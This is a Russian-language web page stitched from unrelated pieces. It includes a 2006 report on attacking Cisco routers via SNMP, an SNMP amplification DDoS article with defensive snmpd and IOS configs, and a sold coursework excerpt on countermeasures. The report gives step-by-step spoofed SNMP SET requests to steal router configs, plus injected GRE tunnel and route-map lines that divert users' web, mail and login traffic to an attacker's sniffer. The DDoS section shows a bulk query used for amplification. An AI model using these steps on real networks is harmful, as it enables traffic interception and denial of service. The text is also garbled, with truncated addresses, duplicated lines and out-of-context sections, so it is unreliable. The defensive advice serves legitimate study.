SNMP-удобный протокол или угроза для корпоративной сети. Обеспечение безопасности SNMP Протокол snmp методы сетевых атак и защиты

Информационная безопасность - 2006

Доклад

SNMP - удобный протокол

или угроза для корпоративной сети

- Предыстория SNMP

Протокол SNMP (Simple Network Management Protocol) предоставляет методы управления сетевыми ресурсами.

История SNMP (Simple Network Management Protocol) протокола начинается со своего предшественника SGMP (Simple Gateway Monitoring Protocol), который был определён в RFC 1028 в 1987 году. SGMP был разработан как временное решение к сетевому управлению.

Стандарт SGMP определил основную модель дизайна, используемого в SNMP, описывая SGMP протокол только в терминах поиска и/или изменений переменных, сохранённых на router-e. Данный стандарт также выделяется небольшим числом операций, которые всё ещё являются основанием для операций SNMP на сегодняшний день.

Первая версия SNMP структуры, SNMPv1, была определена в RFC 1067 (позже пересмотрена в RFC 1098 и 1157) в 1993 году.

Новая SNMPv2 спецификация была выпущена в 1996 году и включала в себя доработки, такие как: механизм блокировки, 64-битные счетчики, улучшенное сообщение ошибки.

Самое последнее дополнение к протоколу – SNMPv3 – определённый в 1999 году. В основном это тот же SNMPv2, но с доработками с точки зрения безопасности, таких как: Security Model (модель защиты) и Access Control Model (модель управления доступом).

- Эффективный контроль над сетью

SNMP может использоваться для управления любой системы, подключенной к Интернету

Затраты на внедрение SNMP – минимальны

Определяя новые «Управляемые Объекты» (MIBs), возможности управления могут быть расширены легко

SNMP довольно устойчив; даже в случае отказов в работе, менеджер может продолжать работать (хотя может понадобиться немного больше усилия)

В настоящее время производители устройств передачи данных включают SNMP по умолчанию. Данный протокол стал наиболее важным стандартом для сетевого управления.

- Разве SNMP это угроза?

В зависимости от версии SNMP стандарта и правильности настройки оборудования, данный протокол можно использовать во многих отраслях хакинга, от мелкого хулиганства до эффективного промышленного шпионажа .

Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности часто упускаются из виду.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть оборудование Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

Сценарий атаки 1.

Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration: 1206 bytes

enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA. YX0

interface Ethernet0/0

interface Ethernet0/1

ip address 192.168.0

network 192.168.1.0

ip nat inside source list 102 interface Ethernet0/0 overload

no ip http server

access-list 1 permit 192.168.

access-list 102 permit ip any any

snmp-server community public RO

snmp-server community private RW 1

snmp-server enable traps tty

logging synchronous

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).

Можно выделить два основных этапа атаки:

Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора. Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

Теория

Используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.

Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC10) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.

Обход правил доступа SNMP

root@whax# ./copy-router-config. pl

######################################################

# Copy Cisco Router config - Using SNMP

# Hacked up by muts - *****@***co. il

#######################################################

Usage: ./cisco-copy-config. pl

Make sure a TFTP server is set up, preferably running from /tmp!

После выполнения скрипта будет перехвачен SNMP пакет. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.

Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов).

Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого router-a по TFTP.

GRE туннель

GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.

Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:

Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера. Определить, какой трафик будет проходить через туннель. Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.

Атакуемый маршрутизатор

Нам нужно создать GRE туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET запрос. Добавим следующие строки в файл конфигурации атакуемого маршрутизатора:

interface tunnel0

ip address 192.168.10

tunnel source Ethernet0/0

tunnel destination

tunnel mode gre ip

Они означают следующее:

Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x. Для обмена данными оба конца туннеля должны находиться в одной подсети. Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?) Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера. Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).

Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика.

Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

access-list 101 permit tcp any any eq 443

access-list 101 permit tcp any any eq 80

access-list 101 permit tcp any any eq 21

access-list 101 permit tcp any any eq 20

access-list 101 permit tcp any any eq 23

access-list 101 permit tcp any any eq 25

access-list 101 permit tcp any any eq 110

Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:

router-map divert-traffic

match ip address 101

set ip next-hop 192.168.10.2

interface Ethernet0/0

ip policy route-map divert-traffic

Мы создали правило доступа, разрешающее все типы трафика. Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер). Созданное правило доступа используется в качестве условия соответствия. В качестве next-hop адреса мы указали IP адрес атакующего (sniffer). Мы применили карту маршрутизации к интерфейсу tunnel0.

Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP пакеты без GRE инкапсуляции.

Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out

Attacker(config-route-map)# match ip address 101

Attacker(config-route-map)# set ip next-hop 192.168.10.1

Attacker(config-route-map)# exit

Attacker(config)# interface ethernet0/0

Attacker(config-if)# ip policy route-map divert-out

Эти дополнительные настройки означают следующее:

После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор. Мы применили карту маршрутизации к Ethernet интерфейсу.

Начинаем атаку

После того как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активации GRE туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel

-> 212.199.145.242, tos=0x0

*Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242

->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)

*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55

-> 212.199.145.242, tos=0x0g all

В результате этих действий, Ethereal на компьютере атакующего получит следующие пакеты:

https://pandia.ru/text/78/194/images/image006_20.jpg" width="624" height="468">

Через несколько часов, мы получаем данные сканирования:

Полученные данные содержат следующего типа информацию:

- SysName - можно узнать адрес, № телефона абонента

- Agent IP Address -

- DNS -

- Response Time -

- Vendor -

- System Description - можно использовать в качестве дополнительной полезной информации при атаках

- Community - snmp- community с помощью которой мы извлекли информацию

- Location - можно узнать адрес, № телефона абонента

- Contact - можно узнать имя, кличку администратора

- Last Boot Time -

- Interfaces - чем больше, тем интерестнее

- Discovery Status -

Из полученных данных используем IP адреса и программу Real-time Network Monitor, для того чтобы узнать какую полезную информацию можно получить при дополнительных запросах SNMP.

Также вполне реально получить полный доступ к аппарату просто заменив имя snmp-community с public на private. Тем самым у нас появляется возможность посылать различные snmp команды.

Результат атаки:

После данного эксперимента мы узнали что:

Не используется даже простейший метод защиты – access-list-ы

С легкостью можно узнать число клиентов провайдера

Конфиденциальную информацию клиентов провайдера

Экономический потенциал провайдера

Полезную информацию, которую можно использовать при различных атаках

- легко можно собирать статистику провайдера и его корпоративных клиентов, при дальнейшем её использовании в определённых целях

- Можно ли предотвратить атаку? Методы защиты

Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.

Методы защиты предельно просты. Они полностью зависят от администраторов сетей:

Не оставлять настройки оборудования по умолчанию (by default)

Правильно продумать схему использования протокола

Определять сложные имена snmp-community

Использовать access-list-ы

Указывать одиночные IP адреса в access-list-ах, а не IP ranges (IP диапазоны)

- Заключение

Целью работы было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco/ZyXel небезопасно. Грамотная конфигурация должна свести к минимуму шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций сетевого оборудования.

Чтобы сделать свой вклад в защиту от DDoS атак типа , совсем не обязательно покупать дорогостоящее оборудование или сервис. Любой администратор сервера, доступного из интернета, может поучаствовать в столь благородном деле без дополнительных материальных вложений, используя только знания и немного времени.

Так выглядит трафик при SNMP Amplification DDoS атаке.

DDOS атака SNMP Аmplification

Суть атаки заключается в том, чтобы инициировать многократно увеличенный ответ на SNMP-запрос. Изначально разработанные для автоматизации получения табличных данных при минимизации количества отправляемых пакетов BULK-запросы стали довольно эффективным инструментом проведения DDoS-атак в руках злоумышленников. Как гласит RFC3416, GetBulkRequest , реализованный в SNMP версии 2, предназначен для возможности запросить большой объем данных, чем и пользуются атакующие, задействуя неправильно настроенные серверы в интернете.

Если установить максимальное число возвращаемых строк в таблице 20000 и выполнить запрос в адрес неправильно настроенного сервера/устройства:

$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 ↵ 1.3.6.1

$ snmpbulkget - c public - v 2c - C r20000 192.168.10.129 ↵1.3.6.1

ответ выдаст приблизительно следующее:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent Windows 2003 x86 5.2" <пропущено 290 строк> iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12 .123.123.12 = No more variables left in this MIB View (It is past the end of the MIB tree)

iso . 3.6.1.2.1.1.1.0 = STRING : "SNMP4J-Agent Windows 2003 x86 5.2"

< пропущено290 строк> iso . 3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12 . 123.123.12 =

No more variables left in this MIB View (It is past the end of the MIB tree )

При этом запущенный tcpdump покажет размер возвращенного пакета:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129. snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet 21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

21 : 41 : 18.185058 IP 192.168.10.128.39565 > 192.168.10.129.

snmp : GetBulk (25 ) N = 0 M = 20000 . iso . org . dod . internet

21 : 41 : 18.603553 IP 192.168.10.129.snmp >

192.168.10.128.39565 : [ len1468 < asnlen10102 ]

В ответ на запрос размером около 70 байт с учетом заголовков сервер возвращает ответ размером порядка 10 килобайт, то есть почти в 150 раз больше. Коэффициент усиления не фиксирован и может принимать как большее (достигая 1700 раз), так и меньшее значение, в зависимости от типа ОС и параметров конфигурации устройства. Если при формировании подобного запроса использовать подмену IP-адреса отправителя на адрес жертвы и высокую интенсивность обращений к уязвимому серверу, DDoS-атака готова .

Причина возникновения DDoS атак

Суть уязвимости заключается, как правило, не в настройке количества отдаваемых значений на один GetBulkRequest, а в том, что значение SNMP community установлено по умолчанию: public – read-only или, что еще хуже, private – readwrite.

Протокол SNMP версий 1 и 2 основан на UDP, используется для мониторинга и управления, а в качестве аутентификационного параметра доступа к управляемому оборудованию использует значение community , которое может быть задано только для чтения (read-only ) либо с возможностью записи (read-write ). Зачастую в системах при активации сервиса SNMP устанавливается значение по умолчанию – public для read-only и private для read-write.

Даже если абстрагироваться от возможности использования некорректно настроенного сервера в качестве рефлектора для усиления атак SNMP, то очевидна угроза получения информации о сервере, установленном на нем ПО и его версиях при использовании значения public по умолчанию для read-only.

Практически безграничный привилегированный доступ с правами администратора к устройству дает read-write community private. Даже если не будут производиться вредоносные изменения, интенсивные запросы с использованием протокола SNMP могут вызвать значительную нагрузку на вычислительные ресурсы опрашиваемого сервера, чем повлиять на качество предоставляемых им сервисов.

Защита от DDoS атак типа SNMP Amplification

Общие рекомендации для уязвимых к атакам с использованием подмены адреса протоколов на базе UDP предоставлены в BCP38 и RFC2827 и описаны в предыдущих .

Архитектурное: разрешение обработки запросов только на интерфейсах, недоступных из не доверенных сетей.
Смена community на более трудно-угадываемое.
Ограничение IP-адресов управляющих станций.
Ограничение ветки OID, доступной для получения/изменения по SNMP.
Минимизация либо отказ от использования community на чтение и запись.
Переход на SNMP версии 3 с использованием дополнительных параметров аутентификации и шифрования.
Отключение SNMP, если не используется.

Как выполнить эти действия на разных системах?

Защита от DDoS SNMP Amplification в Unix

В конфигурационном файле сервиса SNMP настраиваются следующие параметры:

# IP-адрес, протокол и порт, принимающий запросы SNMP agentAddress udp:10.0.0.1:161

Если Unix-сервер, по сути, является маршрутизатором и архитектурно имеет несколько интерфейсов, для безопасности необходимо оставить доступным по SNMP только интерфейс, доступный из доверенного сегмента, но не из интернета. Имя community для доступа задается параметром rocommunity (read-only ) либо rwcommunity (read-write ), также возможно задать подсеть, доступ из которой разрешен, и ветку OID, доступную для работы указанной подсети с заданными правами строки community.

Например, для того чтобы разрешить системам мониторинга из подсети 10.0.0.0/24 доступ к информации по интерфейсам (OID 1.3.6.1.2.1.2 ), используя строку доступа MaKe_ It_SeCuRe с правами только для чтения, конфигурационный фрагмент будет выглядеть следующим образом:

rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2

Но если задача состоит в том, чтобы максимально быстро обеспечить безопасность сервиса snmpd, который до этого был настроен неправильно предшественником, можно создать резервную копию snmpd.conf, в новый конфигурационный файл внести ограничения по подсети систем мониторинга и изменить community. В Debian это будет выглядеть следующим образом:

# cd <директория с snmpd.conf> # mv snmpd.conf snmpd.conf.backup # echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf # /etc/init.d/snmpd restart

# cd <директория с snmpd.conf>

# mv snmpd.conf snmpd.conf.backup

# echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf # /etc/init.d/snmpd restart

После этого доступ по SNMP к серверу будет только у подсети 10.0.0.0/24 с использованием нового community, при этом все серверы, на которых не изменено community на новое, перестанут получать ответы на запросы, как и злоумышленники.

Более безопасным будет переход на использование SNMPv3, в котором существует возможность варьирования параметров аутентификации. Кроме того, в отличие от версий 1 и 2c SNMPv3 позволяет обеспечить шифрование трафика между системой мониторинга и опрашиваемым оборудованием.

Для создания пользователя с правами только на чтение, аутентификацией и шифрованием трафика в конфигурационный файл snmpd.conf необходимо добавить:

createUser v3user SHA "some_AuThPaSs" AES some_privpass authuser read v3user authpriv 1.3.6.1.2.1.2

createUser v3user SHA "some_AuThPaSs" AES some_privpass

authuser read v3user authpriv 1.3.6.1.2.1.2

Соответственно, пользователь v3user получит права read-only для просмотра ветки 1.3.6.1.2.1.2 по SNMP.

Проверить корректность конфигурации можно после рестарта сервиса SNMP на сервере 192.168.10.128 командой, выполненной на клиенте:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA ↵ -x AES -u v3user -l authPriv 192.168.10.128 1

$ snmpwalk - v 3 - A some_AuThPaSs - X some_privpass - a SHA ↵- x AES - u v3user - l authPriv 192.168.10.128 1

При этом, несмотря на то что опрашиваться будет все дерево начиная с 1, сервер отдаст только разрешенную ветку 1.3.6.1.2.1.2, которая будет задана в конфигурации.

При отказе от SNMP v1/v2c в пользу SNMPv3 необходимо также удалить из конфигурационного файла фрагменты настройки, не имеющие отношение к SNMPv3.

Если же SNMP для мониторинга сервера не используется, наиболее верным решением будет удаление пакета snmpd.

Защита от DDoS SNMP Amplification на оборудовании Cisco

В Cisco IOS отсутствует возможность выбора интерфейса, который будет обрабатывать запросы SNMP. Ограничение выполняется с помощью списков доступа (access-control list, ACL ). Предположим, разрешенной будет подсеть 10.0.0.0/24 . Создается ACL:

(config)#access-list 10 permit 10.0.0.0 0.0.0.255

Ограничение к веткам SNMP OID применяется с помощью view:

(config)#snmp-server view IFACES 1.3.6.1.2.1.2 included

Для того чтобы использовать SNMPv3 с необходимыми ограничениями (аутентификация и шифрование, только чтение, доступ из подсети 10.0.0.0/24 к ветке интерфейсов, обозначенной во view IFACES), необходимо создать группу (SECURE ) с доступом на чтение только к OID из view IFACES и необходимостью аутентификации с шифрованием, привязав ее к созданному ранее access-list 10:

(config)#snmp-server group SECURE v3 priv read IFACES ↵ access 10

Проверка работоспособности SNMPv3 с вышеописанными настройками производится командой.

1 180руб.

СОДЕРЖАНИЕ
ВВЕДЕНИЕ 3
1. ТЕОРЕТИЧЕСКОЕ ОБОСНОВАНИЕ ПРОБЛЕМЫ ИССЛЕДОВАНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP
1.1 НЕОБХОДИМОСТЬ ИЗУЧЕНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP 5
1.2 ПРОТОКОЛ SNMP: ОПИСАНИЕ, ПРЕДНАЗНАЧЕНИЕ 7
2. АНАЛИЗ АТАК НА ПРОТОКОЛ SNMP И СПОСОБОВ ПРОТИВОДЕЙСТВИЯ
2.1 ТЕХНИКИ АТАК НА ПРОТОКОЛ SNMP И СПОСОБЫ ИХ ПРЕДОТВРАЩЕНИЯ 11
2.2 СПОСОБЫ ПРОТИВОДЕЙСТВИЯ АТАКАМ НА ПРОТОКОЛ SNMP 15
ЗАКЛЮЧЕНИЕ 20
СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ 21

Фрагмент работы для ознакомления

Рисунок 3 -Экранная форма утилиты SoftPerfectNetworkScannerЗаплаткиПроизводители многих сетевых устройств разрабатывают так называемые заплатки, использование которых необходимо при обнаружении в системе уязвимостей. Таким образом, обнаружив в сети устройства, ориентированные на SNMP, целесообразно связаться с производителями этих устройств, чтобы выяснить, разработали ли они необходимые заплатки.Отключение службы SNMPМногие специалисты склоняются к мнению, что при отсутствии необходимости в службе SNMP ее следует отключить или удалить. Приведем алгоритм отключения службы SNMP в операционной системе Windows:Выбор меню Пуск – Панель управления – Администрирование – Службы (см. рис. 4). Выбор службы SNMP. Если служба запущена, нажимаем на кнопку “Остановить”, а затем выбираем “Тип запуска” – “Отключена”.Рисунок 4 – Отключение службы SNMPСтоит заметить, что некоторые из потенциально уязвимых продуктов остаются восприимчивыми к DoS-атакам или другим нарушающим стабильность работы сети действиям даже при отключенном SNMP.Фильтрация на входеФильтрация на входе основывается на настройке межсетевых экранов и маршрутизаторов так, чтобы они выполняли входную фильтрацию портов UDP 161 и 162. Это позволит предотвратить инициируемые из внешней сети атаки на уязвимые устройства в локальной сети. Другие порты, поддерживающие службы, связанные с SNMP, в том числе порты TCP и UDP 161, 162, 199, 391, 750 и 1993, также могут потребовать входной фильтрации.Фильтрация на выходеДля эффективной защиты возможна организация выходной фильтрации, которая направлена на управление трафиком, исходящем из сети.Фильтрация исходящего трафика на портах UDP 161 и 162 на границе сети может предотвратить использование вашей системы в качестве плацдарма для атаки.Системы обнаружения и предотвращения вторженийСистема обнаружения вторжений (СОВ) (англ. IntrusionDetectionSystem (IDS)) представляет собой программное или аппаратное средство, которое обнаруживает события несанкционированного проникновения (вторжения или сетевой атаки) в компьютерную систему или сеть .Без IDS становится немыслима инфраструктура сетевой безопасности. Дополняя межсетевые экраны, которые функционирую на основе правил безопасности, IDS осуществляют мониторинг и наблюдение за подозрительной активностью. Они позволяют выявить нарушителей, проникших за межсетевой экран, и сообщить об этом администратору, который, примет необходимое решение для поддержания безопасности. Методы выявления вторжений не гарантируют полную безопасность системы.В результате использования IDS достигаются следующие цели:выявление сетевой атаки или вторжения;составление прогноза о вероятных будущих атаках и определение слабых мест системы для предотвращения их использования. Во многих случаях злоумышленник выполняет стадию подготовки, например, зондирует (сканирует) сеть или тестирует ее иным способом, чтобы обнаружить уязвимости системы;осуществление документирования известных угроз;слежение за качеством выполняемого администрирования с точки зрения безопасности, в частности, в крупных и сложных сетях;получение ценной информации о случившихся проникновениях, чтобы восстановить и исправить факторы, приведшие к проникновению;выявление местоположения источника атаки с точки зрения внешней сети (внешние или внутренние атаки), что позволяет принять верные решения при расстановке узлов сети.В общем случае IDS содержит:подсистему наблюдения, которая собирает информацию о событиях, имеющих отношение к безопасности защищаемой сети или системы;подсистему анализа, которая обнаруживает подозрительные действия и сетевые атаки;хранилище, которое хранит первичные события и результаты анализа;консоль управления для настройки IDS, наблюдения за состоянием защищаемой системы и IDS, изучения обнаруженных подсистемой анализа ситуаций.Подводя итог, отметим, чтопростота популярного протокола SNMP имеет своим следствием повышенную уязвимость. Поскольку SNMP применяется очень широко, эксплуатация сетей с уязвимыми продуктами может привести к гибельным последствиям. Поэтому для эффективного применения протокола SNMP следует применять различные способы предотвращения атак и строить комплексную систему защиты.ЗАКЛЮЧЕНИЕИсследование посвящено вопросам обеспечения безопасности организации сетевого взаимодействия посредством протокола SNMP. В процессе работы были выявлены особенности названного протокола и возможные проблемы его использования. Для обоснования проблемы приведены статистические данные, подтверждающие высокую вероятность реализации сетевых атак. Кроме того, теоретическая часть содержит сведения о структуре протокола, схему запросов/откликов и этапы получения ответов на запросы.В рамках курсовой работы проведен анализ возможных атак на протокол SNMP, среди которых можно выделить Dos-атаки, атаки типа «Переполнение буфера» и использующие уязвимости форматной строки. Конечно, потенциально возможных угроз гораздо больше, но их обзор предусматривает более глубокое и всесторонне исследование.Для построения системы защиты сетевого взаимодействия абонентов сети были рассмотрены способы предотвращения атак на протокол SNMPи отмечено, что эффективным будет применение комплекса средств.На основе анализа выявлено, что протоколSNMP достаточно уязвим и, если все-таки принято решение о его использовании, следует разработать политику безопасности и придерживаться всех ее принципов.Таким образом, можно сделать вывод о достижении цели и решении задач, определенных во введении.СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВНормативно-правовые актыФедеральный закон Российской Федерации от 27 июля 2006 г. N 149-ФЗ Об информации, информационных технологиях и о защите информации Список специализированной и научной литературыБланк-Эдельман Д. Perl для системного администрирования, М.: символ-Плюс, 2009.- 478с.Бородакий В.Ю. Практика и перспективы создания защищенного информационно-вычислительного облака на основе МСС ОГВ / В.Ю. Бородакий, А.Ю. Добродеев, П.А. Нащекин // Актуальные проблемы развития технологических систем государственной охраны, специальной связи и специального информационного обеспечения: VIII Всероссийская межведомственная научная конференция: материалы и доклады (Орел, 13–14 февраля 2013 г.). – В 10 ч. Ч.4 / Под общ.ред. В.В. Мизерова. – Орел: Академия ФСО России, 2013.Гришина Н. В. Организация комплексной системы защиты информации. -- М.: Гелиос АРВ, 2009. -- 256 с,Дуглас Р. Мауро Основы SNMP, 2-е издание/Дуглас Р. Мауро, Кевин Дж. Шмидт – М.:Символ-Плюс, 2012.-725с.Кульгин М.В. Компьютерные сети. Практика построения. Для профессионалов, СПб.: Питер, 2003.-462с.Мулюха В.А. Методы и средства защиты компьютерной информации. Межсетевое экранирование: Учебное пособие/ Мулюха В.А., Новопашенный А.Г., Подгурский Ю.Е.- СПб.: Издательство СПбГПУ, 2010. - 91 c.Олифер В. Г.,Олифер Н. П. Компьютерные сети. Принципы, технологии, протоколы. - 4-е. - СПб: Питер, 2010. -902с. Технологии коммутации и маршрутизации в локальных компьютерных сетях: учебное пособие / СмирноваЕ. В. и др.; ред. А.В. Пролетарского. – М. : Изд-во МГТУ им. Н.Э. Баумана, 2013. – 389с.Фленов М. Linux глазами Хакера, СПб:BHV-Санкт-Петербург, 2005. – 544 с.Хореев П.В. Методы и средства защиты информации в компьютерных системах. – М.: издательский центр "Академия", 2005. –205 с.Хорошко В. А., Чекатков А. А. Методы и средства защиты информации, К.: Юниор, 2003. - 504с.Интернет-источникиIDS/IPS - Системы обнаружения и предотвращения вторжений [Электронный ресурс] URL: http://netconfig.ru/server/ids-ips/.Анализ Интернет-угроз в 2014 году. DDoS-атаки. Взлом веб-сайтов.[Электронный ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdfКолищак А. Уязвимость форматной строки [Электронный ресурс]. URL: https://securityvulns.ru/articles/fsbug.aspПервая миля, № 04, 2013 [Электронный ресурс]. URL: http://www.lastmile.su/journal/article/3823Семейство стандартов SNMP [Электронный ресурс]. URL: https://ru.wikibooks.org/wiki /Семейство_стандартов_SNMPИностраннаялитература"CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

Список литературы

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ
Нормативно-правовые акты
1. Федеральный закон Российской Федерации от 27 июля 2006 г. N 149-ФЗ Об информации, информационных технологиях и о защите информации
Список специализированной и научной литературы
2. Бланк-Эдельман Д. Perl для системного администрирования, М.: символ-Плюс, 2009.- 478с.
3. Бородакий В.Ю. Практика и перспективы создания защищенного информационно-вычислительного облака на основе МСС ОГВ / В.Ю. Бородакий, А.Ю. Добродеев, П.А. Нащекин // Актуальные проблемы развития технологических систем государственной охраны, специальной связи и специального информационного обеспечения: VIII Всероссийская межведомственная научная конференция: материалы и доклады (Орел, 13–14 февраля 2013 г.). – В 10 ч. Ч.4 / Под общ.ред. В.В. Мизерова. – Орел: Академия ФСО России, 2013.
4. Гришина Н. В. Организация комплексной системы защиты информации. -- М.: Гелиос АРВ, 2009. -- 256 с,
5. Дуглас Р. Мауро Основы SNMP, 2-е издание/Дуглас Р. Мауро, Кевин Дж. Шмидт – М.:Символ-Плюс, 2012.-725с.
6. Кульгин М.В. Компьютерные сети. Практика построения. Для профессионалов, СПб.: Питер, 2003.-462с.
7. Мулюха В.А. Методы и средства защиты компьютерной информации. Межсетевое экранирование: Учебное пособие/ Мулюха В.А., Новопашенный А.Г., Подгурский Ю.Е.- СПб.: Издательство СПбГПУ, 2010. - 91 c.
8. Олифер В. Г.,Олифер Н. П. Компьютерные сети. Принципы, технологии, протоколы. - 4-е. - СПб: Питер, 2010. -902с.
9. Технологии коммутации и маршрутизации в локальных компьютерных сетях: учебное пособие / СмирноваЕ. В. и др.; ред. А.В. Пролетарского. – М. : Изд-во МГТУ им. Н.Э. Баумана, 2013. – 389с.
10. Фленов М. Linux глазами Хакера, СПб:BHV-Санкт-Петербург, 2005. – 544 с.
11. Хореев П.В. Методы и средства защиты информации в компьютерных системах. – М.: издательский центр "Академия", 2005. –205 с.
12. Хорошко В. А., Чекатков А. А. Методы и средства защиты информации, К.: Юниор, 2003. - 504с.
Интернет-источники
13. IDS/IPS - Системы обнаружения и предотвращения вторжений [Электронный ресурс] URL: http://netconfig.ru/server/ids-ips/.
14. Анализ Интернет-угроз в 2014 году. DDoS-атаки. Взлом веб-сайтов.[Электронный ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Колищак А. Уязвимость форматной строки [Электронный ресурс]. URL: https://securityvulns.ru/articles/fsbug.asp
16. Первая миля, № 04, 2013 [Электронный ресурс]. URL: http://www.lastmile.su/journal/article/3823
17. Семейство стандартов SNMP [Электронный ресурс]. URL: https://ru.wikibooks.org/wiki /Семейство_стандартов_SNMP
Иностраннаялитература
18. "CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)

Пожалуйста, внимательно изучайте содержание и фрагменты работы. Деньги за приобретённые готовые работы по причине несоответствия данной работы вашим требованиям или её уникальности не возвращаются.

* Категория работы носит оценочный характер в соответствии с качественными и количественными параметрами предоставляемого материала. Данный материал ни целиком, ни любая из его частей не является готовым научным трудом, выпускной квалификационной работой, научным докладом или иной работой, предусмотренной государственной системой научной аттестации или необходимой для прохождения промежуточной или итоговой аттестации. Данный материал представляет собой субъективный результат обработки, структурирования и форматирования собранной его автором информации и предназначен, прежде всего, для использования в качестве источника для самостоятельной подготовки работы указанной тематики.

Атака на Cisco через SNMP

Alexander Antipov

Матиай Арони и Уильям М. Идальго, перевод Владимир Куксенок

Введение

